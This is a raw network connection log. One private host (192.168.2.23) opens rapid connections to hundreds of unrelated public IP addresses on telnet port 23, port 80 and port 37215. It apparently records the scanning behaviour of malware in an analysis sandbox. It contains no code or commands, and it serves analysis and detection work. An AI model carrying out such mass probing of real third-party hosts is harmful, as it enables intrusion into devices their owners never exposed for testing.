Apr 14, 2024 03:59:53.049474955 CEST	4951	23	192.168.2.23	119.120.175.12
Apr 14, 2024 03:59:53.049474955 CEST	4951	23	192.168.2.23	31.75.6.54
Apr 14, 2024 03:59:53.049478054 CEST	5463	80	192.168.2.23	92.76.131.203
Apr 14, 2024 03:59:53.049484015 CEST	5463	80	192.168.2.23	90.125.143.32
Apr 14, 2024 03:59:53.049489021 CEST	4951	23	192.168.2.23	75.134.19.192
Apr 14, 2024 03:59:53.049489021 CEST	4951	23	192.168.2.23	201.120.169.185
Apr 14, 2024 03:59:53.049504042 CEST	5463	80	192.168.2.23	187.82.31.57
Apr 14, 2024 03:59:53.049506903 CEST	5463	80	192.168.2.23	162.65.133.56
Apr 14, 2024 03:59:53.049506903 CEST	4951	23	192.168.2.23	111.140.76.64
Apr 14, 2024 03:59:53.049506903 CEST	5463	80	192.168.2.23	50.140.250.106
Apr 14, 2024 03:59:53.049508095 CEST	4951	23	192.168.2.23	45.36.137.186
Apr 14, 2024 03:59:53.049506903 CEST	5463	80	192.168.2.23	144.243.42.131
Apr 14, 2024 03:59:53.049515963 CEST	4951	23	192.168.2.23	39.19.232.194
Apr 14, 2024 03:59:53.049518108 CEST	4951	23	192.168.2.23	48.58.63.43
Apr 14, 2024 03:59:53.049518108 CEST	5463	80	192.168.2.23	186.174.250.148
Apr 14, 2024 03:59:53.049518108 CEST	4951	23	192.168.2.23	187.41.140.0
Apr 14, 2024 03:59:53.049518108 CEST	5463	80	192.168.2.23	90.140.214.157
Apr 14, 2024 03:59:53.049518108 CEST	4951	23	192.168.2.23	209.148.213.124
Apr 14, 2024 03:59:53.049518108 CEST	5463	80	192.168.2.23	160.175.4.25
Apr 14, 2024 03:59:53.049526930 CEST	4951	23	192.168.2.23	78.20.174.199
Apr 14, 2024 03:59:53.049530983 CEST	5463	80	192.168.2.23	172.169.4.67
Apr 14, 2024 03:59:53.049530983 CEST	4951	23	192.168.2.23	13.196.201.132
Apr 14, 2024 03:59:53.049532890 CEST	4951	23	192.168.2.23	203.123.14.254
Apr 14, 2024 03:59:53.049535036 CEST	4951	23	192.168.2.23	191.70.68.23
Apr 14, 2024 03:59:53.049550056 CEST	4951	23	192.168.2.23	125.158.142.15
Apr 14, 2024 03:59:53.049554110 CEST	4951	23	192.168.2.23	190.229.65.192
Apr 14, 2024 03:59:53.049554110 CEST	4951	23	192.168.2.23	66.15.123.162
Apr 14, 2024 03:59:53.049554110 CEST	4951	23	192.168.2.23	98.165.128.177
Apr 14, 2024 03:59:53.049555063 CEST	4951	23	192.168.2.23	112.13.12.166
Apr 14, 2024 03:59:53.049557924 CEST	5463	80	192.168.2.23	118.212.194.129
Apr 14, 2024 03:59:53.049559116 CEST	5463	80	192.168.2.23	86.91.233.85
Apr 14, 2024 03:59:53.049561977 CEST	4951	23	192.168.2.23	9.242.194.172
Apr 14, 2024 03:59:53.049568892 CEST	4951	23	192.168.2.23	183.16.56.64
Apr 14, 2024 03:59:53.049571037 CEST	4951	23	192.168.2.23	212.130.249.130
Apr 14, 2024 03:59:53.049573898 CEST	5463	80	192.168.2.23	209.79.42.79
Apr 14, 2024 03:59:53.049573898 CEST	4951	23	192.168.2.23	20.163.160.12
Apr 14, 2024 03:59:53.049577951 CEST	5463	80	192.168.2.23	23.193.17.104
Apr 14, 2024 03:59:53.049577951 CEST	5463	80	192.168.2.23	167.53.244.180
Apr 14, 2024 03:59:53.049582005 CEST	4951	23	192.168.2.23	59.158.195.234
Apr 14, 2024 03:59:53.049582005 CEST	4951	23	192.168.2.23	71.63.165.110
Apr 14, 2024 03:59:53.049597025 CEST	5463	80	192.168.2.23	59.64.58.156
Apr 14, 2024 03:59:53.049599886 CEST	5463	80	192.168.2.23	122.99.240.129
Apr 14, 2024 03:59:53.049601078 CEST	4951	23	192.168.2.23	150.188.188.140
Apr 14, 2024 03:59:53.049604893 CEST	5463	80	192.168.2.23	183.97.231.246
Apr 14, 2024 03:59:53.049604893 CEST	4951	23	192.168.2.23	36.68.161.61
Apr 14, 2024 03:59:53.049609900 CEST	4951	23	192.168.2.23	172.14.96.29
Apr 14, 2024 03:59:53.049611092 CEST	4951	23	192.168.2.23	129.188.164.180
Apr 14, 2024 03:59:53.049612999 CEST	5463	80	192.168.2.23	148.239.145.217
Apr 14, 2024 03:59:53.049623013 CEST	5463	80	192.168.2.23	87.171.206.145
Apr 14, 2024 03:59:53.049627066 CEST	4951	23	192.168.2.23	138.152.166.87
Apr 14, 2024 03:59:53.049629927 CEST	4951	23	192.168.2.23	2.10.206.137
Apr 14, 2024 03:59:53.049629927 CEST	5463	80	192.168.2.23	24.190.19.205
Apr 14, 2024 03:59:53.049629927 CEST	4951	23	192.168.2.23	168.234.85.99
Apr 14, 2024 03:59:53.049629927 CEST	5463	80	192.168.2.23	219.6.162.58
Apr 14, 2024 03:59:53.049631119 CEST	4951	23	192.168.2.23	118.179.142.71
Apr 14, 2024 03:59:53.049629927 CEST	5463	80	192.168.2.23	2.230.146.101
Apr 14, 2024 03:59:53.049629927 CEST	4951	23	192.168.2.23	101.105.56.223
Apr 14, 2024 03:59:53.049631119 CEST	5463	80	192.168.2.23	135.28.169.22
Apr 14, 2024 03:59:53.049633026 CEST	5463	80	192.168.2.23	78.56.90.196
Apr 14, 2024 03:59:53.049633980 CEST	5463	80	192.168.2.23	65.125.244.67
Apr 14, 2024 03:59:53.049638987 CEST	5463	80	192.168.2.23	150.79.41.120
Apr 14, 2024 03:59:53.049647093 CEST	5463	80	192.168.2.23	100.190.180.198
Apr 14, 2024 03:59:53.049647093 CEST	4951	23	192.168.2.23	128.56.250.129
Apr 14, 2024 03:59:53.049652100 CEST	4951	23	192.168.2.23	156.187.218.159
Apr 14, 2024 03:59:53.049653053 CEST	5463	80	192.168.2.23	220.55.44.218
Apr 14, 2024 03:59:53.049655914 CEST	5463	80	192.168.2.23	182.149.9.3
Apr 14, 2024 03:59:53.049657106 CEST	5463	80	192.168.2.23	18.83.66.201
Apr 14, 2024 03:59:53.049657106 CEST	5463	80	192.168.2.23	158.214.227.213
Apr 14, 2024 03:59:53.049657106 CEST	4951	23	192.168.2.23	9.83.5.241
Apr 14, 2024 03:59:53.049660921 CEST	4951	23	192.168.2.23	102.214.62.228
Apr 14, 2024 03:59:53.049663067 CEST	5463	80	192.168.2.23	24.8.85.140
Apr 14, 2024 03:59:53.049669027 CEST	5463	80	192.168.2.23	47.240.152.113
Apr 14, 2024 03:59:53.049669027 CEST	4951	23	192.168.2.23	171.16.101.115
Apr 14, 2024 03:59:53.049669027 CEST	4951	23	192.168.2.23	189.77.129.111
Apr 14, 2024 03:59:53.049675941 CEST	5463	80	192.168.2.23	130.162.20.81
Apr 14, 2024 03:59:53.049678087 CEST	5463	80	192.168.2.23	108.22.206.44
Apr 14, 2024 03:59:53.049685001 CEST	4951	23	192.168.2.23	157.159.154.97
Apr 14, 2024 03:59:53.049685001 CEST	5463	80	192.168.2.23	150.59.121.49
Apr 14, 2024 03:59:53.049689054 CEST	5463	80	192.168.2.23	40.30.136.3
Apr 14, 2024 03:59:53.049690962 CEST	5463	80	192.168.2.23	190.177.9.13
Apr 14, 2024 03:59:53.049690962 CEST	5463	80	192.168.2.23	60.103.117.78
Apr 14, 2024 03:59:53.049690962 CEST	5463	80	192.168.2.23	195.234.183.87
Apr 14, 2024 03:59:53.049695969 CEST	5463	80	192.168.2.23	131.52.85.31
Apr 14, 2024 03:59:53.049695969 CEST	5463	80	192.168.2.23	193.229.218.145
Apr 14, 2024 03:59:53.049695969 CEST	5463	80	192.168.2.23	167.255.40.240
Apr 14, 2024 03:59:53.049698114 CEST	4951	23	192.168.2.23	85.156.209.167
Apr 14, 2024 03:59:53.049700022 CEST	5463	80	192.168.2.23	148.106.183.88
Apr 14, 2024 03:59:53.049705029 CEST	4951	23	192.168.2.23	180.127.147.29
Apr 14, 2024 03:59:53.049705029 CEST	4951	23	192.168.2.23	83.14.46.191
Apr 14, 2024 03:59:53.049705029 CEST	4951	23	192.168.2.23	68.139.77.23
Apr 14, 2024 03:59:53.049709082 CEST	4951	23	192.168.2.23	70.88.84.212
Apr 14, 2024 03:59:53.049706936 CEST	5463	80	192.168.2.23	42.50.163.142
Apr 14, 2024 03:59:53.049714088 CEST	4951	23	192.168.2.23	20.102.45.53
Apr 14, 2024 03:59:53.049714088 CEST	5463	80	192.168.2.23	106.51.111.6
Apr 14, 2024 03:59:53.049714088 CEST	5463	80	192.168.2.23	121.42.36.254
Apr 14, 2024 03:59:53.049719095 CEST	4951	23	192.168.2.23	167.171.166.90
Apr 14, 2024 03:59:53.049724102 CEST	4951	23	192.168.2.23	53.112.194.70
Apr 14, 2024 03:59:53.049725056 CEST	5463	80	192.168.2.23	159.59.105.28
Apr 14, 2024 03:59:53.049725056 CEST	4951	23	192.168.2.23	168.227.159.187
Apr 14, 2024 03:59:53.049725056 CEST	4951	23	192.168.2.23	164.212.70.251
Apr 14, 2024 03:59:53.049741030 CEST	5463	80	192.168.2.23	49.228.154.161
Apr 14, 2024 03:59:53.049743891 CEST	5463	80	192.168.2.23	165.137.233.130
Apr 14, 2024 03:59:53.049746990 CEST	5463	80	192.168.2.23	47.156.8.25
Apr 14, 2024 03:59:53.049751997 CEST	4951	23	192.168.2.23	188.203.84.93
Apr 14, 2024 03:59:53.049753904 CEST	4951	23	192.168.2.23	50.105.140.44
Apr 14, 2024 03:59:53.049753904 CEST	4951	23	192.168.2.23	117.18.242.55
Apr 14, 2024 03:59:53.049753904 CEST	4951	23	192.168.2.23	34.74.34.106
Apr 14, 2024 03:59:53.049755096 CEST	4951	23	192.168.2.23	193.70.3.67
Apr 14, 2024 03:59:53.049766064 CEST	5463	80	192.168.2.23	91.116.247.102
Apr 14, 2024 03:59:53.049770117 CEST	5463	80	192.168.2.23	43.13.190.90
Apr 14, 2024 03:59:53.049770117 CEST	5463	80	192.168.2.23	1.142.219.79
Apr 14, 2024 03:59:53.049770117 CEST	5463	80	192.168.2.23	98.201.171.52
Apr 14, 2024 03:59:53.049772978 CEST	5463	80	192.168.2.23	162.118.221.64
Apr 14, 2024 03:59:53.049773932 CEST	5463	80	192.168.2.23	91.78.66.217
Apr 14, 2024 03:59:53.049783945 CEST	4951	23	192.168.2.23	32.133.112.210
Apr 14, 2024 03:59:53.049784899 CEST	4951	23	192.168.2.23	105.173.242.33
Apr 14, 2024 03:59:53.049786091 CEST	5463	80	192.168.2.23	37.227.203.151
Apr 14, 2024 03:59:53.049788952 CEST	4951	23	192.168.2.23	217.23.42.243
Apr 14, 2024 03:59:53.049798012 CEST	4951	23	192.168.2.23	125.116.211.130
Apr 14, 2024 03:59:53.049798012 CEST	4951	23	192.168.2.23	158.43.205.108
Apr 14, 2024 03:59:53.049798965 CEST	4951	23	192.168.2.23	186.90.212.146
Apr 14, 2024 03:59:53.049798965 CEST	4951	23	192.168.2.23	82.212.152.0
Apr 14, 2024 03:59:53.049798965 CEST	4951	23	192.168.2.23	136.144.11.10
Apr 14, 2024 03:59:53.049798965 CEST	4951	23	192.168.2.23	82.70.200.67
Apr 14, 2024 03:59:53.049808979 CEST	5463	80	192.168.2.23	51.0.247.84
Apr 14, 2024 03:59:53.049814939 CEST	4951	23	192.168.2.23	106.0.159.237
Apr 14, 2024 03:59:53.049815893 CEST	4951	23	192.168.2.23	98.117.174.255
Apr 14, 2024 03:59:53.049815893 CEST	5463	80	192.168.2.23	129.63.137.241
Apr 14, 2024 03:59:53.049817085 CEST	5463	80	192.168.2.23	51.167.205.231
Apr 14, 2024 03:59:53.049815893 CEST	4951	23	192.168.2.23	119.75.104.42
Apr 14, 2024 03:59:53.049822092 CEST	4951	23	192.168.2.23	191.221.4.99
Apr 14, 2024 03:59:53.049822092 CEST	4951	23	192.168.2.23	140.91.148.91
Apr 14, 2024 03:59:53.049823999 CEST	4951	23	192.168.2.23	70.25.45.194
Apr 14, 2024 03:59:53.049828053 CEST	4951	23	192.168.2.23	65.188.143.253
Apr 14, 2024 03:59:53.049839973 CEST	4951	23	192.168.2.23	67.122.214.104
Apr 14, 2024 03:59:53.049840927 CEST	4951	23	192.168.2.23	117.120.72.26
Apr 14, 2024 03:59:53.049850941 CEST	4951	23	192.168.2.23	210.4.132.57
Apr 14, 2024 03:59:53.049850941 CEST	5463	80	192.168.2.23	116.34.25.222
Apr 14, 2024 03:59:53.049851894 CEST	4951	23	192.168.2.23	129.15.166.52
Apr 14, 2024 03:59:53.049851894 CEST	4951	23	192.168.2.23	5.118.238.223
Apr 14, 2024 03:59:53.049860954 CEST	5463	80	192.168.2.23	41.195.46.250
Apr 14, 2024 03:59:53.049861908 CEST	4951	23	192.168.2.23	108.224.108.244
Apr 14, 2024 03:59:53.049861908 CEST	5463	80	192.168.2.23	58.8.62.31
Apr 14, 2024 03:59:53.049870014 CEST	5463	80	192.168.2.23	122.195.36.33
Apr 14, 2024 03:59:53.049875021 CEST	5463	80	192.168.2.23	99.133.77.238
Apr 14, 2024 03:59:53.049877882 CEST	4951	23	192.168.2.23	57.94.158.171
Apr 14, 2024 03:59:53.049877882 CEST	5463	80	192.168.2.23	75.30.214.166
Apr 14, 2024 03:59:53.049877882 CEST	4951	23	192.168.2.23	194.122.133.89
Apr 14, 2024 03:59:53.049881935 CEST	5463	80	192.168.2.23	122.107.107.233
Apr 14, 2024 03:59:53.049881935 CEST	4951	23	192.168.2.23	159.88.3.160
Apr 14, 2024 03:59:53.049881935 CEST	5463	80	192.168.2.23	54.172.38.214
Apr 14, 2024 03:59:53.049881935 CEST	5463	80	192.168.2.23	45.168.223.155
Apr 14, 2024 03:59:53.049881935 CEST	5463	80	192.168.2.23	31.109.170.97
Apr 14, 2024 03:59:53.049881935 CEST	4951	23	192.168.2.23	27.244.167.212
Apr 14, 2024 03:59:53.049881935 CEST	5463	80	192.168.2.23	76.97.44.2
Apr 14, 2024 03:59:53.049882889 CEST	5463	80	192.168.2.23	117.244.81.167
Apr 14, 2024 03:59:53.049882889 CEST	5463	80	192.168.2.23	181.87.176.187
Apr 14, 2024 03:59:53.049882889 CEST	4951	23	192.168.2.23	58.144.11.125
Apr 14, 2024 03:59:53.049887896 CEST	4951	23	192.168.2.23	155.78.158.232
Apr 14, 2024 03:59:53.049887896 CEST	5463	80	192.168.2.23	216.135.240.97
Apr 14, 2024 03:59:53.049895048 CEST	4951	23	192.168.2.23	40.56.6.6
Apr 14, 2024 03:59:53.049895048 CEST	4951	23	192.168.2.23	114.185.217.247
Apr 14, 2024 03:59:53.049901962 CEST	5463	80	192.168.2.23	138.84.185.246
Apr 14, 2024 03:59:53.049901962 CEST	4951	23	192.168.2.23	211.193.47.206
Apr 14, 2024 03:59:53.049901962 CEST	4951	23	192.168.2.23	75.80.109.123
Apr 14, 2024 03:59:53.049901962 CEST	5463	80	192.168.2.23	204.232.124.11
Apr 14, 2024 03:59:53.049902916 CEST	5463	80	192.168.2.23	102.125.139.93
Apr 14, 2024 03:59:53.049912930 CEST	4951	23	192.168.2.23	162.79.172.116
Apr 14, 2024 03:59:53.049912930 CEST	5463	80	192.168.2.23	94.72.174.85
Apr 14, 2024 03:59:53.049913883 CEST	4951	23	192.168.2.23	177.108.29.159
Apr 14, 2024 03:59:53.049912930 CEST	4951	23	192.168.2.23	104.57.55.110
Apr 14, 2024 03:59:53.049912930 CEST	4951	23	192.168.2.23	71.234.57.216
Apr 14, 2024 03:59:53.049912930 CEST	5463	80	192.168.2.23	187.97.1.48
Apr 14, 2024 03:59:53.049916029 CEST	4951	23	192.168.2.23	182.77.165.153
Apr 14, 2024 03:59:53.049926996 CEST	4951	23	192.168.2.23	108.245.223.73
Apr 14, 2024 03:59:53.049927950 CEST	5463	80	192.168.2.23	219.146.69.218
Apr 14, 2024 03:59:53.049928904 CEST	4951	23	192.168.2.23	105.235.99.193
Apr 14, 2024 03:59:53.049947023 CEST	5463	80	192.168.2.23	190.228.179.18
Apr 14, 2024 03:59:53.049945116 CEST	5463	80	192.168.2.23	147.41.107.114
Apr 14, 2024 03:59:53.049948931 CEST	5463	80	192.168.2.23	105.53.188.162
Apr 14, 2024 03:59:53.049945116 CEST	5463	80	192.168.2.23	125.139.126.213
Apr 14, 2024 03:59:53.049949884 CEST	5463	80	192.168.2.23	27.177.201.15
Apr 14, 2024 03:59:53.049951077 CEST	5463	80	192.168.2.23	122.67.191.93
Apr 14, 2024 03:59:53.049954891 CEST	4951	23	192.168.2.23	201.5.175.51
Apr 14, 2024 03:59:53.049954891 CEST	5463	80	192.168.2.23	185.107.232.148
Apr 14, 2024 03:59:53.049954891 CEST	5463	80	192.168.2.23	177.233.101.240
Apr 14, 2024 03:59:53.049954891 CEST	4951	23	192.168.2.23	137.209.130.206
Apr 14, 2024 03:59:53.049968004 CEST	5463	80	192.168.2.23	9.198.63.23
Apr 14, 2024 03:59:53.049968004 CEST	5463	80	192.168.2.23	5.206.140.213
Apr 14, 2024 03:59:53.049973011 CEST	5463	80	192.168.2.23	168.154.177.109
Apr 14, 2024 03:59:53.049973965 CEST	5463	80	192.168.2.23	188.151.186.176
Apr 14, 2024 03:59:53.049973965 CEST	5463	80	192.168.2.23	192.217.205.59
Apr 14, 2024 03:59:53.049977064 CEST	4951	23	192.168.2.23	121.81.253.75
Apr 14, 2024 03:59:53.049987078 CEST	5463	80	192.168.2.23	92.123.64.240
Apr 14, 2024 03:59:53.049989939 CEST	4951	23	192.168.2.23	139.57.98.176
Apr 14, 2024 03:59:53.049992085 CEST	5463	80	192.168.2.23	187.79.133.143
Apr 14, 2024 03:59:53.049993038 CEST	5463	80	192.168.2.23	54.33.204.5
Apr 14, 2024 03:59:53.049993038 CEST	5463	80	192.168.2.23	31.56.249.46
Apr 14, 2024 03:59:53.049993038 CEST	4951	23	192.168.2.23	73.8.198.191
Apr 14, 2024 03:59:53.049993038 CEST	5463	80	192.168.2.23	117.188.123.70
Apr 14, 2024 03:59:53.050014973 CEST	5463	80	192.168.2.23	17.59.107.87
Apr 14, 2024 03:59:53.050017118 CEST	5463	80	192.168.2.23	105.47.246.174
Apr 14, 2024 03:59:53.050014973 CEST	5463	80	192.168.2.23	134.216.10.111
Apr 14, 2024 03:59:53.050017118 CEST	5463	80	192.168.2.23	216.213.94.105
Apr 14, 2024 03:59:53.050019026 CEST	5463	80	192.168.2.23	110.196.2.25
Apr 14, 2024 03:59:53.050017118 CEST	4951	23	192.168.2.23	174.13.228.35
Apr 14, 2024 03:59:53.050018072 CEST	4951	23	192.168.2.23	91.92.131.8
Apr 14, 2024 03:59:53.050018072 CEST	5463	80	192.168.2.23	8.13.146.85
Apr 14, 2024 03:59:53.050023079 CEST	5463	80	192.168.2.23	173.144.33.232
Apr 14, 2024 03:59:53.050026894 CEST	5463	80	192.168.2.23	159.41.159.182
Apr 14, 2024 03:59:53.050028086 CEST	5463	80	192.168.2.23	87.17.186.147
Apr 14, 2024 03:59:53.050035000 CEST	5463	80	192.168.2.23	138.67.135.112
Apr 14, 2024 03:59:53.050040007 CEST	5463	80	192.168.2.23	199.152.15.41
Apr 14, 2024 03:59:53.050050974 CEST	5463	80	192.168.2.23	61.101.144.239
Apr 14, 2024 03:59:53.050051928 CEST	5463	80	192.168.2.23	189.216.203.213
Apr 14, 2024 03:59:53.050064087 CEST	5463	80	192.168.2.23	81.191.208.163
Apr 14, 2024 03:59:53.050064087 CEST	5463	80	192.168.2.23	152.18.175.202
Apr 14, 2024 03:59:53.050067902 CEST	5463	80	192.168.2.23	135.192.207.15
Apr 14, 2024 03:59:53.050067902 CEST	5463	80	192.168.2.23	73.209.96.68
Apr 14, 2024 03:59:53.050076008 CEST	5463	80	192.168.2.23	208.50.212.161
Apr 14, 2024 03:59:53.050079107 CEST	5463	80	192.168.2.23	47.109.133.217
Apr 14, 2024 03:59:53.050087929 CEST	5463	80	192.168.2.23	187.8.138.221
Apr 14, 2024 03:59:53.050097942 CEST	5463	80	192.168.2.23	206.230.83.82
Apr 14, 2024 03:59:53.050106049 CEST	5463	80	192.168.2.23	99.212.111.199
Apr 14, 2024 03:59:53.050107002 CEST	5463	80	192.168.2.23	45.1.188.87
Apr 14, 2024 03:59:53.050117016 CEST	5463	80	192.168.2.23	51.78.136.192
Apr 14, 2024 03:59:53.050117016 CEST	5463	80	192.168.2.23	102.23.188.209
Apr 14, 2024 03:59:53.050132036 CEST	5463	80	192.168.2.23	126.248.113.222
Apr 14, 2024 03:59:53.050134897 CEST	5463	80	192.168.2.23	104.108.61.137
Apr 14, 2024 03:59:53.050141096 CEST	5463	80	192.168.2.23	206.46.231.141
Apr 14, 2024 03:59:53.050151110 CEST	5463	80	192.168.2.23	39.11.104.83
Apr 14, 2024 03:59:53.050151110 CEST	5463	80	192.168.2.23	70.74.138.214
Apr 14, 2024 03:59:53.050153017 CEST	5463	80	192.168.2.23	75.146.168.7
Apr 14, 2024 03:59:53.050168037 CEST	5463	80	192.168.2.23	141.209.38.56
Apr 14, 2024 03:59:53.050170898 CEST	5463	80	192.168.2.23	175.118.117.133
Apr 14, 2024 03:59:53.050173044 CEST	5463	80	192.168.2.23	175.253.76.59
Apr 14, 2024 03:59:53.050173044 CEST	5463	80	192.168.2.23	34.166.96.77
Apr 14, 2024 03:59:53.050180912 CEST	5463	80	192.168.2.23	133.42.34.207
Apr 14, 2024 03:59:53.050180912 CEST	5463	80	192.168.2.23	200.25.119.90
Apr 14, 2024 03:59:53.050180912 CEST	5463	80	192.168.2.23	96.122.213.72
Apr 14, 2024 03:59:53.050180912 CEST	5463	80	192.168.2.23	81.127.37.171
Apr 14, 2024 03:59:53.050183058 CEST	5463	80	192.168.2.23	70.21.45.216
Apr 14, 2024 03:59:53.050196886 CEST	5463	80	192.168.2.23	181.43.212.153
Apr 14, 2024 03:59:53.050201893 CEST	5463	80	192.168.2.23	68.164.18.168
Apr 14, 2024 03:59:53.050203085 CEST	5463	80	192.168.2.23	202.189.93.184
Apr 14, 2024 03:59:53.050203085 CEST	5463	80	192.168.2.23	63.143.172.128
Apr 14, 2024 03:59:53.050205946 CEST	5463	80	192.168.2.23	45.88.16.254
Apr 14, 2024 03:59:53.050209045 CEST	5463	80	192.168.2.23	136.52.59.22
Apr 14, 2024 03:59:53.050226927 CEST	5463	80	192.168.2.23	101.7.121.62
Apr 14, 2024 03:59:53.050230026 CEST	5463	80	192.168.2.23	178.21.169.110
Apr 14, 2024 03:59:53.050242901 CEST	5463	80	192.168.2.23	198.142.149.30
Apr 14, 2024 03:59:53.050242901 CEST	5463	80	192.168.2.23	140.63.93.125
Apr 14, 2024 03:59:53.050246000 CEST	5463	80	192.168.2.23	112.123.187.53
Apr 14, 2024 03:59:53.050247908 CEST	5463	80	192.168.2.23	165.242.187.96
Apr 14, 2024 03:59:53.050246000 CEST	5463	80	192.168.2.23	210.114.177.82
Apr 14, 2024 03:59:53.050252914 CEST	5463	80	192.168.2.23	20.111.55.42
Apr 14, 2024 03:59:53.050261021 CEST	5463	80	192.168.2.23	81.196.11.71
Apr 14, 2024 03:59:53.050266981 CEST	5463	80	192.168.2.23	199.132.255.245
Apr 14, 2024 03:59:53.050270081 CEST	5463	80	192.168.2.23	34.194.129.144
Apr 14, 2024 03:59:53.050276041 CEST	5463	80	192.168.2.23	137.124.239.10
Apr 14, 2024 03:59:53.050276995 CEST	5463	80	192.168.2.23	12.92.107.75
Apr 14, 2024 03:59:53.050276995 CEST	5463	80	192.168.2.23	78.223.193.167
Apr 14, 2024 03:59:53.050281048 CEST	5463	80	192.168.2.23	198.251.195.82
Apr 14, 2024 03:59:53.050281048 CEST	5463	80	192.168.2.23	65.180.220.7
Apr 14, 2024 03:59:53.050287962 CEST	5463	80	192.168.2.23	150.121.45.60
Apr 14, 2024 03:59:53.050292969 CEST	5463	80	192.168.2.23	92.89.234.239
Apr 14, 2024 03:59:53.050295115 CEST	5463	80	192.168.2.23	67.32.66.0
Apr 14, 2024 03:59:53.050313950 CEST	5463	80	192.168.2.23	220.249.255.216
Apr 14, 2024 03:59:53.050314903 CEST	5463	80	192.168.2.23	200.16.132.222
Apr 14, 2024 03:59:53.050314903 CEST	5463	80	192.168.2.23	69.35.101.72
Apr 14, 2024 03:59:53.050314903 CEST	5463	80	192.168.2.23	149.162.5.25
Apr 14, 2024 03:59:53.050314903 CEST	5463	80	192.168.2.23	58.237.84.131
Apr 14, 2024 03:59:53.050319910 CEST	5463	80	192.168.2.23	61.17.199.159
Apr 14, 2024 03:59:53.050333977 CEST	5463	80	192.168.2.23	176.9.11.13
Apr 14, 2024 03:59:53.050338984 CEST	5463	80	192.168.2.23	49.90.69.17
Apr 14, 2024 03:59:53.050338984 CEST	5463	80	192.168.2.23	58.197.155.220
Apr 14, 2024 03:59:53.050359011 CEST	5463	80	192.168.2.23	104.193.61.44
Apr 14, 2024 03:59:53.050359011 CEST	5463	80	192.168.2.23	206.233.164.216
Apr 14, 2024 03:59:53.050359011 CEST	5463	80	192.168.2.23	99.10.110.157
Apr 14, 2024 03:59:53.050359011 CEST	5463	80	192.168.2.23	62.134.52.80
Apr 14, 2024 03:59:53.050363064 CEST	5463	80	192.168.2.23	19.91.154.187
Apr 14, 2024 03:59:53.050364971 CEST	5463	80	192.168.2.23	159.14.224.215
Apr 14, 2024 03:59:53.050378084 CEST	5463	80	192.168.2.23	18.210.105.239
Apr 14, 2024 03:59:53.050383091 CEST	5463	80	192.168.2.23	43.166.50.144
Apr 14, 2024 03:59:53.050384998 CEST	5463	80	192.168.2.23	79.234.121.108
Apr 14, 2024 03:59:53.050389051 CEST	5463	80	192.168.2.23	218.152.100.13
Apr 14, 2024 03:59:53.050390005 CEST	5463	80	192.168.2.23	209.40.210.63
Apr 14, 2024 03:59:53.050410986 CEST	5463	80	192.168.2.23	146.167.123.161
Apr 14, 2024 03:59:53.050410986 CEST	5463	80	192.168.2.23	36.41.161.90
Apr 14, 2024 03:59:53.050417900 CEST	5463	80	192.168.2.23	4.217.56.157
Apr 14, 2024 03:59:53.050420046 CEST	5463	80	192.168.2.23	91.89.16.74
Apr 14, 2024 03:59:53.050426960 CEST	5463	80	192.168.2.23	57.202.182.137
Apr 14, 2024 03:59:53.050436020 CEST	5463	80	192.168.2.23	218.232.49.205
Apr 14, 2024 03:59:53.050437927 CEST	5463	80	192.168.2.23	77.146.221.169
Apr 14, 2024 03:59:53.050443888 CEST	5463	80	192.168.2.23	85.149.148.39
Apr 14, 2024 03:59:53.050456047 CEST	5463	80	192.168.2.23	81.1.65.106
Apr 14, 2024 03:59:53.050470114 CEST	5463	80	192.168.2.23	154.101.255.233
Apr 14, 2024 03:59:53.050473928 CEST	5463	80	192.168.2.23	101.77.46.168
Apr 14, 2024 03:59:53.050473928 CEST	5463	80	192.168.2.23	45.137.90.141
Apr 14, 2024 03:59:53.050477982 CEST	5463	80	192.168.2.23	207.61.182.132
Apr 14, 2024 03:59:53.050488949 CEST	5463	80	192.168.2.23	199.58.9.148
Apr 14, 2024 03:59:53.050501108 CEST	5463	80	192.168.2.23	65.79.148.122
Apr 14, 2024 03:59:53.050503016 CEST	5463	80	192.168.2.23	74.141.219.130
Apr 14, 2024 03:59:53.063580036 CEST	5975	37215	192.168.2.23	156.44.93.116
Apr 14, 2024 03:59:53.063590050 CEST	5975	37215	192.168.2.23	156.7.168.186
Apr 14, 2024 03:59:53.063596964 CEST	5975	37215	192.168.2.23	197.50.79.224
Apr 14, 2024 03:59:53.063602924 CEST	5975	37215	192.168.2.23	197.230.77.74
Apr 14, 2024 03:59:53.063618898 CEST	5975	37215	192.168.2.23	156.16.41.135
Apr 14, 2024 03:59:53.063647032 CEST	5975	37215	192.168.2.23	197.144.12.209
Apr 14, 2024 03:59:53.063647032 CEST	5975	37215	192.168.2.23	41.16.94.125
Apr 14, 2024 03:59:53.063647032 CEST	5975	37215	192.168.2.23	197.210.84.174
Apr 14, 2024 03:59:53.063651085 CEST	5975	37215	192.168.2.23	156.189.42.82
Apr 14, 2024 03:59:53.063672066 CEST	5975	37215	192.168.2.23	197.68.62.41
Apr 14, 2024 03:59:53.063672066 CEST	5975	37215	192.168.2.23	41.25.30.176
Apr 14, 2024 03:59:53.063677073 CEST	5975	37215	192.168.2.23	197.175.106.85
Apr 14, 2024 03:59:53.063677073 CEST	5975	37215	192.168.2.23	41.165.212.134
Apr 14, 2024 03:59:53.063694954 CEST	5975	37215	192.168.2.23	41.164.245.19
Apr 14, 2024 03:59:53.063711882 CEST	5975	37215	192.168.2.23	41.8.136.27
Apr 14, 2024 03:59:53.063719034 CEST	5975	37215	192.168.2.23	41.15.48.91
Apr 14, 2024 03:59:53.063724041 CEST	5975	37215	192.168.2.23	41.163.209.14
Apr 14, 2024 03:59:53.063724041 CEST	5975	37215	192.168.2.23	156.241.247.101
Apr 14, 2024 03:59:53.063725948 CEST	5975	37215	192.168.2.23	156.211.65.168
Apr 14, 2024 03:59:53.063735962 CEST	5975	37215	192.168.2.23	197.213.52.38
Apr 14, 2024 03:59:53.063749075 CEST	5975	37215	192.168.2.23	197.132.218.9
Apr 14, 2024 03:59:53.063750982 CEST	5975	37215	192.168.2.23	156.79.25.64
Apr 14, 2024 03:59:53.063751936 CEST	5975	37215	192.168.2.23	197.252.47.210
Apr 14, 2024 03:59:53.063766003 CEST	5975	37215	192.168.2.23	41.38.86.150
Apr 14, 2024 03:59:53.063772917 CEST	5975	37215	192.168.2.23	41.84.4.100
Apr 14, 2024 03:59:53.063772917 CEST	5975	37215	192.168.2.23	197.38.144.114
Apr 14, 2024 03:59:53.063790083 CEST	5975	37215	192.168.2.23	156.119.219.91
Apr 14, 2024 03:59:53.063790083 CEST	5975	37215	192.168.2.23	41.93.141.222
Apr 14, 2024 03:59:53.063797951 CEST	5975	37215	192.168.2.23	197.94.122.249
